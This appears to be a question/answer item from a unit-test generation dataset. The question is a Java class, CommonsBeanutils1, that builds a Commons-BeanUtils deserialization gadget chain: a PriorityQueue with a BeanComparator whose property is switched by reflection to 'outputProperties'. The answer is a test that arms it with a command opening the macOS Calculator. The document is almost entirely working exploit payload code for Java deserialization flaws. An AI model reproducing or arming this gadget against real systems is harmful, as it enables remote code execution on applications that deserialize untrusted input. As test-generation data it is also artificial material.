### Question:
CommonsBeanutils1 extends Payload<Object> { @Override public Object pack(Object obj) throws Exception { final BeanComparator comparator = new BeanComparator("lowestSetBit"); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); queue.add(new BigInteger("1")); queue.add(new BigInteger("1")); ReflectionHelper.setFieldValue(comparator, "property", "outputProperties"); final Object[] queueArray = (Object[]) ReflectionHelper.getFieldValue(queue, "queue"); queueArray[0] = obj; queueArray[1] = obj; return queue; }  @Override Bullet getDefaultBullet(String command); @Override Object pack(Object obj);  }### Answer:
@Test public void pack() throws Exception { Payload payload = new CommonsBeanutils1(); Bullet bullet = payload.getDefaultBullet("open /System/Applications/Calculator.app"); payload.setBullet(bullet); Serializer serializer = payload.getSerializer(); }